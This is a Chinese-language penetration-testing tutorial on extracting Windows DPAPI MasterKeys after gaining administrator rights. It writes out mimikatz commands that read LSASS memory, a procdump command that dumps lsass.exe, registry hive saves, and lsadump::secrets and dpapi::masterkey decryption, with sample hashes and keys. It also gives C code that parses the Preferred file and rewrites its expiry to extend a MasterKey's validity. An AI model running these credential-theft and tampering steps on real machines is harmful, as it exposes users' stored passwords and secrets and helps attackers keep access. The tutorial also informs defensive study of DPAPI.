渗透技巧——获取Windows系统下DPAPI中的MasterKey
0x00前言
对于Windows系统，用户的加密数据大都采用DPAPI进行存储，而想要解密这些数据解，必须要获得DPAPI对应的MasterKey。本文将会介绍在获得了Windows系统的权限后获得MasterKey的方法，同时分析Preferred文件格式，延长MasterKey的有效期
0x01 简介
本文将要介绍以下内容
- 基本概念
- 获得MasterKey的方法
- 解析Preferred文件
- 修改MasterKey失效时间
0x02 基本概念
DPAPI：
全称Data Protection Application Programming Interface
作为Windows系统的一个数据保护接口被广泛使用
主要用于保护加密的数据，常见的应用如：
- EFS文件加密
- 存储无线连接密码
- Windows Credential Manager
- Internet Explorer
- Outlook
- Skype
- Windows CardSpace
- Windows Vault
- Google Chrome
Master Key：
64字节，用于解密DPAPI blob，使用用户登录密码、SID和16字节随机数加密后保存在Master Key file中
Master Key file：
二进制文件，可使用用户登录密码对其解密，获得Master Key
分为两种：
- 用户Master Key file，位于%APPDATA%\Microsoft\Protect\%SID%
- 系统Master Key file，位于%WINDIR%\System32\Microsoft\Protect\S-1-5-18\User
Preferred文件：
位于Master Key file的同级目录，显示当前系统正在使用的MasterKey及其过期时间，默认90天有效期
0x03 获得MasterKey的方法
本节主要介绍通过mimikatz获得MasterKey的方法
1、在线获取
通过读取Lsass进程信息，获取当前系统中的MasterKey，能获得多个Master Key file对应的MasterKey
管理员权限：
privilege::debug
sekurlsa::dpapi
如下图
2、离线读取
思路一：
使用procdump dump出LSASS进程内存
管理员权限：
procdump.exe -accepteula -ma lsass.exe lsass.dmp
使用mimikatz加载dmp文件并获取各个Master Key file对应的MasterKey：
sekurlsa::minidump lsass.dmp
sekurlsa::dpapi
思路二：
参考资料：
https://github.com/gentilkiwi/mimikatz/wiki/howto-~-scheduled-tasks-credentials
1、复制注册表文件
管理员权限：
reg save HKLM\SYSTEM SystemBkup.hiv
reg save HKLM\SECURITY SECURITY.hiv
2、从注册表文件中获得DPAPI_SYSTEM
mimikatz log "lsadump::secrets /system:SystemBkup.hiv /security:SECURITY.hiv"
如下图
DPAPI_SYSTEM中的user hash为c2872cf6d6d4db31c6c8d33beb49b482e78e7ce3，能够用来解密位于%WINDIR%\System32\Microsoft\Protect\S-1-5-18\User下的系统Master Key file
3、解密系统Master Key file，获得MasterKey
mimikatz "dpapi::masterkey /in:C:\Windows\System32\Microsoft\Protect\S-1-5-18\User\04ece708-132d-4bf0-a647-e3329269a012 /system:c2872cf6d6d4db31c6c8d33beb49b482e78e7ce3"
解密获得MasterKey为3e9d7f32f2e57933ead318d075efc82325697d87d992b626a20abb5f0ffba6f073d282a837b6fa058ecff36039aa944e04b3dfb666ebace44aad6bff8789ca43
如下图
0x04 解析Preferred文件
位于Master Key file的同级目录，显示当前系统正在使用的MasterKey file及其过期时间
格式如下：
typedef struct _tagPreferredMasterKey
{
GUID guidMasterKey;
FILETIME ftCreated;
} PREFERREDMASTERKEY, *PPREFERREDMASTERKEY;
例如C:\Users\b\AppData\Roaming\Microsoft\Protect\S-1-5-21-2884853959-2080156797-250722187-1002\Preferred
如下图
前16字节F6 B0 11 A1 D7 B4 C8 40 B5 36 67 2A 82 88 B9 58对应guid，调整格式后，对应文件为a111b0f6-b4d7-40c8-b536-672a8288b958
后8字节D0 08 9F 7D 11 EC D3 01对应过期时间
对于表示时间的FILETIME，格式如下：
typedef struct _FILETIME {
DWORD dwLowDateTime;
DWORD dwHighDateTime;
} FILETIME, *PFILETIME;
想要显示成日常使用的时间格式，需要将FILETIME类型转成SYSTEMTIME类型
在程序实现上，还需要注意使用sscanf_s函数将字符串转换为DWORD格式
可供参考的C代码如下：
#include <windows.h>
int main(void)
{
FILE *fp;
unsigned char buf[24];
fopen_s(&fp,"Preferred","rb");
fread(buf,1,24,fp);
printf("Data: ");
for(int i=0;i<24;i++)
{
printf("%02x",buf[i]);
}
fclose(fp);
printf("\nguidMasterKey: %02x%02x%02x%02x-%02x%02x-%02x%02x-%02x%02x-%02x%02x%02x%02x%02x%02x\n",buf[3],buf[2],buf[1],buf[0],buf[5],buf[4],buf[7],buf[6],buf[8],buf[9],buf[10],buf[11],buf[12],buf[13],buf[14],buf[15]);
char lowDateTime[9],highDateTime[9];
sprintf_s(lowDateTime,9,"%02X%02X%02X%02X",buf[19],buf[18],buf[17],buf[16]);
sprintf_s(highDateTime,9,"%02X%02X%02X%02X",buf[23],buf[22],buf[21],buf[20]);
printf("dwLowDateTime:%s\n",lowDateTime);
printf("dwHighDateTime:%s\n",highDateTime);
FILETIME ftUTC;
SYSTEMTIME stUTC2;
sscanf_s(lowDateTime,"%x",&ftUTC.dwLowDateTime);
sscanf_s(highDateTime,"%x",&ftUTC.dwHighDateTime);
FileTimeToSystemTime(&ftUTC, &stUTC2);
printf("");
printf("Expiry time: %d-%d-%d %d:%d:%d\n", stUTC2.wYear, stUTC2.wMonth, stUTC2.wDay, stUTC2.wHour, stUTC2.wMinute, stUTC2.wSecond);
return 0;
}
注：
也可以使用fread读取int型数据来解决字符串倒序的问题
读取Preferred文件，解析出当前系统正在使用的Master Key file的guid和过期时间
测试如下图
0x05 修改MasterKey失效时间
修改思路：
输入过期时间，将过期时间转为FILETIME格式，替换Preferred文件的FILETIME
可供参考的c代码如下：
#include <windows.h>
int main(void)
{
SYSTEMTIME st={0};
FILETIME ft={0};
printf("[+]Start to change expiry time...\n");
st.wYear = 2019;
st.wMonth = 12;
st.wDay = 30;
st.wHour = 12;
st.wMinute = 30;
st.wSecond = 30;
printf("[+]New expiry time:%d-%d-%d %d:%d:%d\n", st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond);
SystemTimeToFileTime(&st,&ft);
printf("dwLowDateTime:%08x\n",ft.dwLowDateTime);
printf("dwHighDateTime:%08x\n",ft.dwHighDateTime);
FILE *fp;
fopen_s(&fp,"Preferred","rb+");
fseek(fp,16,SEEK_SET);
fwrite(&ft.dwLowDateTime,sizeof(int),1,fp);
fwrite(&ft.dwHighDateTime,sizeof(int),1,fp);
fclose(fp);
printf("[+]Change success.\n");
return 0;
}
读取Preferred文件，将过期时间设置为2019-12-30 12:30:30
修改后重新读取Preferred文件信息，成功修改，如下图
0x06 小结
本文总结了在获得了Windows系统的权限后获得MasterKey的方法，编写程序自动分析Preferred文件格式并延长MasterKey的有效期